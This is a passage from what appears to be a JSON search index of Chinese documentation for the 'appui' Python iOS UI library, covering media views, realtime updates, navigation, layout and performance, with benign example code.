height=120, context=ctx).corner_radius(12),\n appui.Text(\"commands 列表 → Canvas\").font(\"headline\"),\n appui.Canvas(width=300, height=80, commands=wave_commands).corner_radius(8),\n appui.Text(\"Path 矢量\").font(\"headline\"),\n triangle.frame(width=120, height=80),\n ],\n spacing=20,\n )\n .padding()\n ]\n )\n .navigation_title(\"图表与画布\")\n )\n\n\nappui.run(body, state=state) 常见误区 Chart 使用参数名 type= :不是 mark;x / y 为数据字典中的键名字符串。 Canvas 命令字典的字段 :手写 commands 时使用 'op', 'x', 'y', 'w', 'h', 'c' 等键。 Path 命令格式 :appui 的 Path 使用 {'move': [x, y]}、{'line': [x, y]}、{'close': True} 等形式,与 DrawingContext 的 op 字典不同。 性能 :高频更新(如波形)可优先 Canvas + commands 列表局部重建;Chart 更适合中等规模静态或慢变数据。 系统版本 :Chart 依赖 iOS 16+,Canvas 依赖 iOS 15+;在过低版本设备上可能空白或降级。 series 与颜色 :多系列时 color 仍可作为默认着色提示,具体调色策略由系统图表渲染决定;若发现图例颜色异常,应先检查数据中 series 字段是否稳定存在。 练习题 将 Chart 的 type 改为 'rule',用水平参考线标注「目标值」常量(在数据中复制同一 y)。 用 DrawingContext 绘制一条正弦折线(多点 line 或 stroke_path)。 把 Path 的 commands 改为带 curve / arc 的复杂轮廓(若当前环境支持对应序列化键)。 附录:最小 Canvas 与 Chart import appui\n\nc = appui.Canvas(\n width=120,\n height=40,\n commands=[{\"op\": \"fill_rect\", \"x\": 0, \"y\": 0, \"w\": 120, \"h\": 40, \"c\": \"systemBlue\"}],\n)\ng = appui.Chart(\n data=[{\"x\": 1, \"y\": 2}],\n x=\"x\",\n y=\"y\",\n type=\"point\",\n color=\"systemRed\",\n)\nprint(c, g) 数据字典约定(给 Chart) Chart 期望 data 为 list[dict] ,且每个字典至少包含你在 x=、y= 上指定的键;若使用 series=,则每个字典还应包含该键以便分组。键名建议使用 ASCII 标识符 (如 month、sales),可减少跨端序列化问题。 DrawingContext 生成的 op 一览 下列为 DrawingContext 常用命令,便于手写 commands 数组时对照: 链式方法 `op` 字段 说明 `fill_rect` `fill_rect` 填充轴对齐矩形 `stroke_rect` `stroke_rect` 描边矩形 `fill_circle` `fill_circle` 填充圆 `stroke_circle` `stroke_circle` 描边圆 `fill_ellipse` `fill_ellipse` 填充椭圆外接矩形 `stroke_ellipse` `stroke_ellipse` 描边椭圆 `line` `line` 线段 `fill_text` `fill_text` 文本 `fill_path` `fill_path` 多边形填充 `stroke_path` `stroke_path` 折线描边 `arc` `arc` 弧或扇形 `rounded_rect` `rounded_rect` 圆角矩形 `gradient_rect` `gradient_rect` 线性渐变矩形" + }, + { + "id": "appui-guide-media", + "title": "媒体与系统集成", + "subtitle": "图片、相册、相机、地图、视频和 WebView 的页面模式。", + "section": "appui / 指南", + "url": "pages/appui-guide-media/", + "text": "媒体与系统集成 图片、相册、相机、地图、视频和 WebView 的页面模式。 appui 指南 appui media photo camera PhotoPicker CameraPicker AsyncImage MapView VideoPlayer WebView 媒体 appui 中与图片、相册、相机、文件导入、视频、网页与地图相关的视图。下列示例均可在应用内 AppUI 预览环境运行。 预期效果 示例会展示图片、网络图、相册、文件、相机、视频、网页和地图控件如何嵌入 AppUI 页面。 设计原则 资源图 用 Image(name=...); SF Symbols 用 Image(system_name=...)。 网络图 用 AsyncImage,占位与失败视图通过子视图传入。 相册 / 相机 返回的是设备上的 文件路径字符串 (由系统写入临时目录后回调)。 Files App / 文档提供方 用 FileImporter,默认复制到 App 可访问位置后返回路径列表。 WebView 只能二选一:url 或 html。 MapView 的 markers 为字典列表,键包括 latitude、longitude、title。 Image:本地资源与 SF Symbol Image 支持链式修饰:resizable()、aspect_ratio(ratio, content_mode)、symbol_rendering_mode(mode)、image_scale(scale)。 import appui\n\nstate = appui.State(kind=\"SF Symbol\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.Text(state.kind).font(\"headline\"),\n appui.Image(system_name=\"star.fill\")\n .resizable()\n .aspect_ratio(content_mode=\"fit\")\n .symbol_rendering_mode(\"palette\")\n .image_scale(\"large\")\n .frame(width=56, height=56)\n .foreground_color(\"systemYellow\"),\n appui.Label(\"设置\", system_image=\"gear\"),\n ], spacing=16).padding()\n .navigation_title(\"Image\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") content_mode 为 'fit' 或 'fill'。symbol_rendering_mode 常用:'hierarchical'、'palette'、'multicolor'(未识别时回退为单色)。 image_scale 为 'small'、'medium'(默认)、'large'。 AsyncImage:网络图片 参数:url、placeholder、error_view、content_mode、on_success、on_failure。占位与错误视图为 子节点 (前两个子视图依次为占位、错误)。 import appui\n\nstate = appui.State(status=\"等待加载\")\n\n\ndef image_loaded():\n state.status = \"图片已加载\"\n\n\ndef image_failed():\n state.status = \"图片加载失败\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.AsyncImage(\n url=\"https://www.apple.com/ac/structured-data/images/knowledge_graph_logo.png\",\n placeholder=appui.ProgressView(label=\"Loading\"),\n error_view=appui.Image(system_name=\"exclamationmark.triangle\"),\n content_mode=\"fit\",\n on_success=image_loaded,\n on_failure=image_failed,\n ).frame(height=120),\n appui.LabeledContent(\"状态\", value=state.status),\n ], spacing=16).padding()\n .navigation_title(\"AsyncImage\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") PhotoPicker:相册 selection_limit:1 表示单选;0 表示不限制(以系统行为为准)。filter:'images'、'videos'、'all'。on_picked 收到 路径列表 。 import appui\n\nstate = appui.State(paths=[])\n\n\ndef on_picked(paths):\n state.paths = paths or []\n\n\ndef body():\n return appui.VStack([\n appui.Text(\"已选: \" + (\" | \".join(state.paths) if state.paths else \"无\")).font(\"caption\"),\n appui.PhotoPicker(\n selection_limit=1,\n filter=\"images\",\n on_picked=on_picked,\n label=appui.Label(\"选择照片\", system_image=\"photo.on.rectangle\"),\n ),\n ], spacing=12).padding()\n\nappui.run(body, state=state, presentation=\"sheet\") FileImporter:文件导入 allowed_types 可传类型名、扩展名或 MIME 类型,例如 'text'、'pdf'、'csv'、'image/png'。allows_multiple=True 允许多选。copy=True 是默认值,表示先复制进 App 可访问位置,再把路径列表传给 on_picked。 import appui\n\nstate = appui.State(files=[])\n\n\ndef on_files(paths):\n state.files = paths or []\n\n\ndef body():\n rows = [\n appui.Text(path).font(\"caption\").line_limit(1)\n for path in state.files\n ]\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"导入\", [\n appui.FileImporter(\n allowed_types=[\"text\", \"pdf\", \"csv\"],\n allows_multiple=True,\n on_picked=on_files,\n label=appui.Label(\"选择文件\", system_image=\"doc.badge.plus\"),\n ),\n ]),\n appui.Section(\"文件\", rows or [\n appui.ContentUnavailableView(\"暂无文件\", system_image=\"doc\", description=\"从系统文件选择器导入\")\n ]),\n ]).navigation_title(\"文件导入\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 文件选择由系统界面完成;用户取消时通常不会触发有效路径。需要读取文件内容时,在回调里保存路径,再在按钮动作、刷新函数或后台流程中读取,避免在 body() 里同步读大文件。 CameraPicker:相机 source:'camera' 或 'front'。media_type:'photo' 或 'video'。on_captured 收到 单个路径字符串 。 import appui\n\nstate = appui.State(last=\"\")\n\n\ndef on_captured(path):\n state.last = path or \"\"\n\n\ndef body():\n return appui.VStack([\n appui.Text(state.last or \"尚未拍摄\").font(\"caption\"),\n appui.CameraPicker(\n source=\"camera\",\n media_type=\"photo\",\n on_captured=on_captured,\n label=appui.Label(\"拍照\", system_image=\"camera.fill\"),\n ),\n ], spacing=12).padding()\n\nappui.run(body, state=state, presentation=\"sheet\") VideoPlayer:AVKit url 可为远程 HTTPS 或应用内可访问的本地文件名。autoplay、loop、show_controls 控制播放行为。 只展示视频时直接用 VideoPlayer(url=...)。如果页面需要播放/暂停/seek、保存进度、倍速、PiP 状态或切集,使用 PlayerController 并传给 VideoPlayer(player=player);AppUI 新页面不要再 import avplayer 控制同一块内嵌视频。 import appui\n\nstate = appui.State(status=\"可播放\")\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.VideoPlayer(\n url=\"https://media.w3.org/2010/05/sintel/trailer.mp4\",\n autoplay=False,\n loop=False,\n show_controls=True,\n ).frame(height=220),\n appui.LabeledContent(\"状态\", value=state.status),\n ], spacing=16).padding()\n .navigation_title(\"VideoPlayer\")\n )\n\nappui.run(body, state=state, presentation=\"sheet\") WebView:URL 或 HTML import appui\n\nstate = appui.State()\n\ndef body():\n return appui.WebView(\n html=\"

appui

内嵌 HTML

\"\n ).frame(height=360).padding()\n\nappui.run(body, state=state, presentation=\"sheet\") 远程页面示例:appui.WebView(url=\"https://www.apple.com\").frame(height=360)。 MapView:地图与标注 默认中心为旧金山坐标。span 为经纬跨度。map_style 可为 'automatic'(默认,不传样式)、'standard'、'satellite'、'hybrid'。 import appui\n\nstate = appui.State()\n\ndef body():\n return appui.MapView(\n latitude=37.7749,\n longitude=-122.4194,\n span=0.08,\n markers=[\n {\"latitude\": 37.78, \"longitude\": -122.40, \"title\": \"标记 A\"},\n ],\n map_style=\"standard\",\n ).frame(height=280).padding()\n\nappui.run(body, state=state, presentation=\"sheet\") 与旧版 ui 模块对照(迁移) ui 为 Pythonista 风格命令式 API;同一应用内可对照理解差异: import ui\n\nv = ui.View()\nb = ui.Button(title=\"Go\")\n\n\ndef on_button(sender):\n pass\n\n\nb.action = on_button\nv.add_subview(b)\n# v.present('sheet') # 需在 AppUI 预览环境中调用 appui 用声明式 body() 返回 View,由 appui.run(body, state=..., presentation=\"sheet\") 呈现。 小结 视图 典型用途 `Image` 资源图、SF Symbol、缩放与宽高比 `AsyncImage` 网络图片与阶段 UI `PhotoPicker` / `CameraPicker` 系统相册与相机,路径回调 `FileImporter` 系统文件选择器,路径列表回调 `VideoPlayer` 流媒体或本地视频 `WebView` `url` 或 `html` 嵌入网页 `MapView` 坐标、跨度、标注与样式 更完整的参数说明见同目录下的 appui ref media.md。" + }, + { + "id": "appui-guide-realtime", + "title": "实时快路径", + "subtitle": "高频状态更新、二进制属性通道和实时 UI 的边界。", + "section": "appui / 指南", + "url": "pages/appui-guide-realtime/", + "text": "实时快路径 高频状态更新、二进制属性通道和实时 UI 的边界。 appui 指南 appui realtime performance 实时快路径 ReactiveState 高频 实时 性能 实时快路径 实时快路径是 appui 的高频界面更新通道。它的目标不是让你手动操作更新机制,而是在状态变化很频繁时,让已经显示出来的原生控件尽量只更新必要属性。 你可以把它理解为:首屏仍然由 appui 正常构建,运行时如果只是文本、滑块、开关、进度、图片等属性变化,系统会优先走更轻的更新路径。 预期效果 示例会展示普通 State 与 ReactiveState 在高频属性更新时的可见差异。 什么时候有用 滑块、计时器、仪表盘、进度条持续变化。 文本、标签、数值、状态灯需要频繁刷新。 页面结构基本不变,只是已有控件的值在变。 你希望减少整棵界面反复重建带来的卡顿。 什么时候不需要关注 页面只是普通表单、设置页或低频按钮操作。 你正在增删列表行、切换导航根、打开 sheet 或重排布局。 你的界面每次变化都需要重新组织视图结构。 这些场景继续使用普通 State 和 appui 组件即可。实时快路径会在适合的地方自动参与,不需要你把简单界面写复杂。 推荐写法 优先从清晰的状态模型开始: import appui\n\nstate = appui.State(progress=0.4, title=\"下载中\")\n\ndef body():\n return appui.VStack([\n appui.Text(state.title),\n appui.ProgressView(value=state.progress),\n appui.Button(\"增加进度\", action=bump),\n ], spacing=16).padding()\n\ndef bump():\n state.progress = min(1.0, state.progress + 0.1)\n if state.progress >= 1.0:\n state.title = \"已完成\"\n\nappui.run(body, state=state, presentation=\"sheet\") 如果一个值会高频变化,再考虑 ReactiveState。它适合把频繁变化的字段和界面控件绑定起来,让系统选择更轻的刷新方式。 import appui\n\nstate = appui.ReactiveState(value=0.5)\n\n\ndef value_label():\n return f\"{state.value:.0%}\"\n\n\ndef body():\n return appui.VStack([\n appui.Text(\"音量\"),\n appui.Slider(**appui.bind(state, \"value\"), label=\"音量\"),\n appui.Text(value_label()),\n ], spacing=16).padding()\n\nappui.run(body, state=state, presentation=\"sheet\") 使用原则 先写正确的 appui 界面,再优化高频字段。 高频值用 ReactiveState 或组件已有绑定,不要自己维护一套刷新系统。 结构变化交给普通 State 重建,属性变化交给系统尽量增量刷新。 不要依赖未公开常量或未文档化接口。 和性能优化的关系 实时快路径只解决“已有控件高频改值”的成本。真正流畅的界面还需要: 列表使用 List / ForEach,不要用大量 VStack 模拟。 大文件、网络、图片处理放到后台任务。 避免在 body() 中做复杂计算、排序或同步文件读取。 控件数量很大时,优先拆分页面或懒加载。 更多整体建议见 性能实践。 系统实时能力 如果实时数据来自相机、传感器、麦克风、键盘高度、深浅色变化或照片选择,请看 iOS 原生能力。这些能力需要明确的启动和停止路径,不适合在普通 body() 重建循环中轮询。" + }, + { + "id": "appui-guide-navigation", + "title": "导航与页面结构", + "subtitle": "TabView、NavigationStack、NavigationLink 和 toolbar 的组合方式。", + "section": "appui / 指南", + "url": "pages/appui-guide-navigation/", + "text": "导航与页面结构 TabView、NavigationStack、NavigationLink 和 toolbar 的组合方式。 appui 指南 appui navigation tabview toolbar 导航 TabView NavigationStack NavigationLink toolbar 页面 导航与页面结构 导航的目标是让页面关系清楚:栈式跳转用 NavigationStack,多 tab 用 TabView,iPad 双栏用 NavigationSplitView,临时任务用 sheet / alert / popover。 预期效果 示例会展示固定跳转、数据驱动导航、Tab、sheet 和 alert 的页面层级。 选择表 需求 API 页面逐层进入、支持返回 `NavigationStack` 固定列表进入详情 `NavigationLink` 通过数据驱动跳转 `NavigationPath` + `destinations` 底部标签页 `TabView` / `Tab` iPad / Mac 侧栏 + 详情 `NavigationSplitView` 临时编辑页 `.sheet(...)` 强制流程 `.full_screen_cover(...)` 确认、错误、危险操作 `.alert(...)` / `.confirmation_dialog(...)` 小浮层 `.popover(...)` NavigationStack 最小写法是给根内容包一层 NavigationStack,再在子页面里设置标题。 import appui\n\nstate = appui.State(last_opened=\"None\")\n\n\ndef mark_opened(title):\n state.last_opened = title\n\n\ndef settings_page():\n def open_settings():\n mark_opened(\"设置\")\n\n return appui.Form([\n appui.Section(\"设置\", [\n appui.Text(\"这里是详情内容\"),\n appui.Button(\"记录打开\", action=open_settings),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"Last opened\", value=state.last_opened),\n ]),\n ]).navigation_title(\"设置\")\n\n\ndef about_page():\n return appui.Text(\"实时快路径 appui\").padding().navigation_title(\"关于\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.NavigationLink(title=\"设置\", destination=settings_page()),\n appui.NavigationLink(title=\"关于\", destination=about_page()),\n ]).navigation_title(\"首页\")\n )\n\n\nappui.run(body, state=state) 固定页面跳转用 NavigationLink;动态路由用 NavigationPath。 NavigationPath NavigationPath 适合“从按钮打开指定页面”“根据 tag 和 data 打开详情”等数据驱动场景。 import appui\n\npath = appui.NavigationPath()\nstate = appui.State(opened=\"None\")\n\n\ndef open_settings():\n path.append({\"tag\": \"settings\", \"data\": None})\n\n\ndef open_user():\n path.append({\"tag\": \"user\", \"data\": 42})\n\n\ndef go_back():\n path.pop()\n\n\ndef go_home():\n path.pop_to_root()\n\n\ndef settings_destination(data):\n return appui.VStack([\n appui.Text(\"设置\").font(\"title2\"),\n appui.Button(\"返回\", action=go_back),\n ], spacing=12).padding().navigation_title(\"设置\")\n\n\ndef user_destination(user_id):\n return appui.VStack([\n appui.Text(f\"用户 {user_id}\").font(\"title2\"),\n appui.Button(\"返回首页\", action=go_home),\n ], spacing=12).padding().navigation_title(\"用户\")\n\n\ndef body():\n return appui.NavigationStack(\n content=appui.VStack([\n appui.Text(\"首页\").font(\"title2\"),\n appui.Button(\"打开设置\", action=open_settings).button_style(\"bordered\"),\n appui.Button(\"打开用户 42\", action=open_user).button_style(\"bordered_prominent\"),\n ], spacing=16).padding().navigation_title(\"示例\"),\n path=path,\n destinations={\n \"settings\": settings_destination,\n \"user\": user_destination,\n },\n )\n\n\nappui.run(body, state=state) path.append({\"tag\": \"...\", \"data\": ...}) 的 tag 用来找目标构建函数,data 会传给目标函数。 TabView Tab 适合并列的顶层区域,不要用来承载一次性流程。每个 tab 中如果还需要进入详情,再单独放自己的 NavigationStack。 import appui\n\nstate = appui.State(selection=0)\n\n\ndef set_selection(value):\n state.selection = value\n\n\ndef home_view():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"Home\", [\n appui.Text(\"Home content\")\n ])\n ]).navigation_title(\"首页\")\n )\n\n\ndef settings_view():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Settings\", [\n appui.LabeledContent(\"Selected tab\", value=str(state.selection))\n ])\n ]).navigation_title(\"设置\")\n )\n\n\ndef body():\n return appui.TabView(\n selection=state.selection,\n on_change=set_selection,\n tabs=[\n appui.Tab(\"首页\", system_image=\"house\", tag=0, content=home_view()),\n appui.Tab(\"设置\", system_image=\"gearshape\", tag=1, content=settings_view()),\n ],\n )\n\n\nappui.run(body, state=state) Sheet、Alert、ConfirmationDialog 弹层用状态控制显示和关闭。复杂 sheet 内容抽成命名函数。 import appui\n\nstate = appui.State(show_sheet=False, show_alert=False, name=\"\")\n\n\ndef set_name(value):\n state.name = value\n\n\ndef open_sheet():\n state.show_sheet = True\n\n\ndef close_sheet():\n state.show_sheet = False\n\n\ndef open_alert():\n state.show_alert = True\n\n\ndef close_alert():\n state.show_alert = False\n\n\ndef editor_sheet():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"编辑\", [\n appui.TextField(\"名称\", text=state.name, on_change=set_name),\n appui.Button(\"完成\", action=close_sheet).button_style(\"bordered_prominent\"),\n ])\n ]).navigation_title(\"编辑\")\n )\n\n\ndef body():\n root = (\n appui.VStack([\n appui.Button(\"编辑\", action=open_sheet).button_style(\"bordered\"),\n appui.Button(\"删除\", action=open_alert)\n .foreground_color(\"systemRed\"),\n ], spacing=16)\n .padding()\n .sheet(is_presented=state.show_sheet, on_dismiss=close_sheet, content=editor_sheet)\n .alert(\n \"确认删除?\",\n is_presented=state.show_alert,\n on_dismiss=close_alert,\n actions=[\n appui.Button(\"取消\", role=\"cancel\", action=close_alert),\n appui.Button(\"删除\", role=\"destructive\", action=close_alert),\n ],\n message=\"删除后无法恢复。\",\n )\n )\n return appui.NavigationStack(root.navigation_title(\"呈现\"))\n\n\nappui.run(body, state=state) 普通编辑用 sheet,破坏性操作先 alert 或 confirmation dialog。 NavigationSplitView NavigationSplitView 适合大屏。窄屏上系统会自动退化为栈式体验。 appui.NavigationSplitView(\n sidebar=appui.List([...]).navigation_title(\"项目\"),\n detail=appui.Text(\"选择一个项目\").navigation_title(\"详情\"),\n) 如果目标设备主要是 iPhone,不要为了“看起来高级”强行使用 SplitView。 常见问题 问题 处理 页面没有标题 在内容 View 上加 `.navigation_title(...)`。 返回后状态丢失 把状态放在外层 `State`,不要在目标页面函数里重新创建。 `destinations` 回调报参数错 回调写成接收 `data` 的命名函数。 sheet 点了没反应 确认 `is_presented` 读取的是状态字段,关闭时会把字段改回 `False`。 Tab 和导航栈混乱 Tab 做顶层分区,Stack 做分区内跳转。 工具栏图标按钮报错 `Button` 的图标放在 `content=Image(...)` 或 `content=Label(...)`。 下一步 布局系统 组织可编辑数据。 交互与回调 处理点击、拖拽、菜单、焦点。 API:导航 查询完整签名。" + }, + { + "id": "appui-guide-layout", + "title": "布局系统", + "subtitle": "用原生容器搭列表、表单、网格和可滚动页面。", + "section": "appui / 指南", + "url": "pages/appui-guide-layout/", + "text": "布局系统 用原生容器搭列表、表单、网格和可滚动页面。 appui 指南 appui layout list form grid 布局 List Form Section LazyVGrid ScrollView 布局系统 appui 的布局优先用组合:Stack 负责方向,ScrollView 负责滚动,Grid 负责网格,frame/padding/background 负责局部尺寸和外观。列表和设置页优先使用系统容器,复杂视觉再用自定义布局。 预期效果 示例会展示 Stack、ScrollView、Grid、Form 和 GeometryReader 在不同页面结构中的可见布局结果。 容器速查 容器 适合场景 常用参数 `VStack` 垂直排列 `spacing`, `alignment` `HStack` 水平排列 `spacing`, `alignment` `ZStack` 层叠覆盖 `alignment` `ScrollView` 长内容和自定义滚动页 `axes`, `shows_indicators` `LazyVStack` / `LazyHStack` 长列表自定义布局 `spacing`, `alignment` `LazyVGrid` / `LazyHGrid` 卡片网格 `columns` / `rows`, `spacing` `Grid` / `GridRow` 表格式二维布局 行列组合 `List` 原生动态列表 `Section`, `ForEach` `Form` 设置页和编辑页 `Section` `GeometryReader` 需要父容器尺寸 `on_change` 或 geometry 回调 Stack Stack 解决 80% 的局部布局。用 VStack 组织纵向内容,用 HStack + Spacer 组织行。 import appui\n\nstate = appui.State(selected=\"Revenue\")\n\n\ndef select_revenue():\n state.selected = \"Revenue\"\n\n\ndef select_orders():\n state.selected = \"Orders\"\n\n\ndef card(title, value, action):\n content = appui.VStack([\n appui.Text(title).font(\"caption\").foreground_color(\"secondaryLabel\"),\n appui.Text(value).font(\"title2\").bold(),\n ], alignment=\"leading\", spacing=6)\n\n return (\n appui.Button(action=action, content=content)\n .button_style(\"plain\")\n .padding(14)\n .frame(max_width=appui.infinity, alignment=\"leading\")\n .background(\"secondarySystemBackground\", corner_radius=12)\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.Text(\"Dashboard\").font(\"largeTitle\").bold(),\n appui.HStack([\n card(\"Revenue\", \"$12.4k\", select_revenue),\n card(\"Orders\", \"284\", select_orders),\n ], spacing=12),\n appui.ZStack([\n appui.Rectangle().fill(\"systemBlue\").frame(height=120).corner_radius(16),\n appui.Text(f\"Selected: {state.selected}\").foreground_color(\"white\").bold(),\n ]),\n ], alignment=\"leading\", spacing=16)\n .padding()\n .navigation_title(\"Stack\")\n )\n\n\nappui.run(body, state=state) 只有 Stack 难以表达时,再使用 Grid 或 GeometryReader。 ScrollView 与长内容 长列表优先用 List;需要完全自定义外观时再用 ScrollView + LazyVStack。 import appui\n\nstate = appui.State(selected=\"None\")\n\n\ndef select_row(index):\n state.selected = f\"Item {index}\"\n\n\ndef row(index):\n def select_current():\n select_row(index)\n\n return appui.Button(\n action=select_current,\n content=appui.HStack([\n appui.Text(str(index))\n .frame(width=36, height=36)\n .background(\"systemBlue\", corner_radius=18)\n .foreground_color(\"white\"),\n appui.VStack([\n appui.Text(f\"Item {index}\").bold(),\n appui.Text(\"Subtitle\").font(\"caption\").foreground_color(\"secondaryLabel\"),\n ], alignment=\"leading\"),\n appui.Spacer(),\n ], spacing=12).padding(vertical=6),\n ).button_style(\"plain\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.ScrollView(\n appui.LazyVStack([row(i) for i in range(1, 31)], spacing=8).padding(),\n axes=\"vertical\",\n )\n .safe_area_inset(\n edge=\"bottom\",\n content=appui.Text(f\"Selected: {state.selected}\")\n .padding()\n .frame(max_width=appui.infinity, alignment=\"leading\")\n .background(material=\"regularMaterial\"),\n )\n .navigation_title(\"ScrollView\")\n )\n\n\nappui.run(body, state=state) 底部操作条优先用 safe_area_inset,不要靠固定 offset 硬顶。 Grid 两三列卡片用 LazyVGrid 最直接;需要严格行列对齐时用 Grid/GridRow。 import appui\n\nstate = appui.State(selected=\"None\")\n\n\ndef select_tile(index):\n state.selected = f\"Card {index}\"\n\n\ndef tile(index):\n def select_current():\n select_tile(index)\n\n content = appui.VStack([\n appui.Image(system_name=\"square.grid.2x2\").font(\"title2\"),\n appui.Text(f\"Card {index}\").font(\"caption\"),\n ], spacing=8)\n\n return (\n appui.Button(action=select_current, content=content)\n .button_style(\"plain\")\n .frame(max_width=appui.infinity, min_height=92)\n .background(\"secondarySystemBackground\", corner_radius=12)\n )\n\n\ndef body():\n columns = [appui.flexible(), appui.flexible()]\n return appui.NavigationStack(\n appui.ScrollView(\n appui.VStack([\n appui.LabeledContent(\"Selected\", value=state.selected),\n appui.LazyVGrid(\n columns=columns,\n spacing=12,\n content=[tile(i) for i in range(1, 9)],\n ),\n ], spacing=16).padding()\n ).navigation_title(\"Grid\")\n )\n\n\nappui.run(body, state=state) List 和 Form 普通数据列表使用 List + Section + ForEach,设置和编辑页使用 Form + Section。这两个容器负责原生滚动、分组、键盘避让和辅助功能。 import appui\n\nstate = appui.State(query=\"\", notifications=True)\n\n\ndef set_query(value):\n state.query = value\n\n\ndef set_notifications(value):\n state.notifications = value\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Search\", [\n appui.TextField(\"Query\", text=state.query, on_change=set_query),\n ]),\n appui.Section(\"Preferences\", [\n appui.Toggle(\n \"Notifications\",\n is_on=state.notifications,\n on_change=set_notifications,\n ),\n ], footer=f\"Query: {state.query or '-'}\"),\n ]).navigation_title(\"Form\")\n )\n\n\nappui.run(body, state=state) 不要把每个设置项包成自绘卡片,也不要把 List 放进 ScrollView 或 Section 里。 frame、padding、background 常见顺序: (\n view\n .padding()\n .frame(max_width=appui.infinity, alignment=\"leading\")\n .background(\"secondarySystemBackground\")\n .corner_radius(12)\n) 需求 写法 占满宽度 `.frame(max_width=appui.infinity)` 固定高度 `.frame(height=120)` 左对齐 `.frame(max_width=appui.infinity, alignment=\"leading\")` 卡片内边距 `.padding()` 放在 `.background()` 前 外边距 `.padding()` 放在 `.background()` 后 GeometryReader 只有在需要父容器尺寸时使用 GeometryReader 或 .on_geometry(...)。不要把整页都包进 GeometryReader,它会改变布局提案,容易让子视图占满空间。 def remember_size(info):\n print(info[\"width\"], info[\"height\"])\n\n\nappui.GeometryReader(\n content=appui.Text(\"Measure me\"),\n on_change=remember_size,\n) 常见问题 问题 检查 背景只包住文字 `.padding()` 是否放在 `.background()` 前。 宽度没有撑开 是否设置了 `.frame(max_width=appui.infinity)`。 长内容滑不动 是否外层使用 `ScrollView` 或 `List`。 底部按钮挡住内容 使用 `safe_area_inset(edge=\"bottom\")`。 网格宽度不均 检查 `appui.flexible()` 列配置和 spacing。 列表不像原生 是否用 `ScrollView + VStack` 模拟了动态列表。 下一步 导航与页面结构 组织多页面结构。 布局 API 查看完整签名。 修饰符参考 查询 frame、padding、overlay、safe_area_inset。" + }, + { + "id": "appui-guide-performance", + "title": "性能与实时界面", + "subtitle": "普通 State、Timer、ReactiveState 和实时快路径的选择。", + "section": "appui / 指南", + "url": "pages/appui-guide-performance/", + "text": "性能与实时界面 普通 State、Timer、ReactiveState 和实时快路径的选择。 appui 指南 appui performance realtime reactive 性能 实时 ReactiveState 实时快路径 Timer 仪表盘 性能与实时界面 appui 的性能优化优先从界面结构、状态粒度和后台任务开始。大多数页面不需要特殊技巧,只要避免在 body() 里做重活,就能保持流畅。如果页面有高频属性更新,再看 实时快路径。 预期效果 示例会展示列表筛选、状态粒度、Timer 和高频属性更新的性能写法。 优先优化的地方 场景 推荐做法 列表数据 使用 `List + ForEach`,并提供稳定 key 设置页 使用 `Form + Section` 多字段状态变化 使用 `state.batch_update(...)` 派生搜索结果 使用普通函数或 `computed` 计时器和进度 模块级 `Timer`,回调中更新状态 高频数值 先用 `State` 做正确,再按需切到 `ReactiveState` 大文件读取 放到按钮动作、任务或后台流程中 图片和网络 先异步加载,再把结果写入状态 避免在 body 中做重活 body() 应该只描述界面。不要在里面同步读取大文件、下载网络内容、递归扫描目录、创建 Timer 或做复杂排序。 import appui\n\nstate = appui.State(items=[\"main.py\", \"notes.md\", \"data.json\"], selected=\"None\")\n\n\ndef item_key(name):\n return name\n\n\ndef select_item(name):\n state.selected = name\n\n\ndef row_view(name):\n def select_current():\n select_item(name)\n\n return appui.Button(\n action=select_current,\n content=appui.Text(name).frame(max_width=appui.infinity, alignment=\"leading\"),\n ).button_style(\"plain\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"Files\", [\n appui.ForEach(state.items, row_builder=row_view, key=item_key)\n ]),\n appui.Section(\"State\", [\n appui.LabeledContent(\"Selected\", value=state.selected)\n ]),\n ]).navigation_title(\"Files\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 如果数据来自耗时操作,先在事件中准备好,再更新状态。 控制状态刷新范围 把变化频繁的值放到明确字段里。一次动作改多个字段时用 batch_update,避免中间状态反复重建。 import appui\n\nstate = appui.State(count=0, message=\"Ready\")\n\n\ndef plus():\n state.batch_update(count=state.count + 1, message=\"Updated\")\n\n\ndef reset():\n state.batch_update(count=0, message=\"Reset\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Counter\", [\n appui.LabeledContent(\"Count\", value=str(state.count)),\n appui.HStack([\n appui.Button(\"增加\", action=plus).button_style(\"bordered_prominent\"),\n appui.Button(\"重置\", action=reset).button_style(\"bordered\"),\n ], spacing=12),\n ], footer=state.message)\n ]).navigation_title(\"Refresh Scope\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 列表和大数据 大列表优先使用原生列表组件。过滤、排序、分组这类派生数据不要在每个 row 里重复计算。 import appui\n\nrows = [{\"id\": index, \"title\": f\"Item {index}\"} for index in range(1, 101)]\nstate = appui.State(query=\"\", rows=rows, selected=\"None\")\n\n\ndef set_query(value):\n state.query = value\n\n\n@appui.computed(state, depends_on=[\"query\", \"rows\"])\ndef filtered_rows():\n keyword = state.query.strip().lower()\n if not keyword:\n return state.rows\n return [row for row in state.rows if keyword in row[\"title\"].lower()]\n\n\ndef row_key(row):\n return row[\"id\"]\n\n\ndef select_row(row):\n state.selected = row[\"title\"]\n\n\ndef row_view(row):\n def select_current():\n select_row(row)\n\n return appui.Button(\n action=select_current,\n content=appui.HStack([\n appui.Text(row[\"title\"]).frame(max_width=appui.infinity, alignment=\"leading\"),\n appui.Image(system_name=\"chevron.right\").foreground_color(\"tertiaryLabel\"),\n ]),\n ).button_style(\"plain\")\n\n\ndef body():\n visible = filtered_rows()\n return appui.NavigationStack(\n appui.List([\n 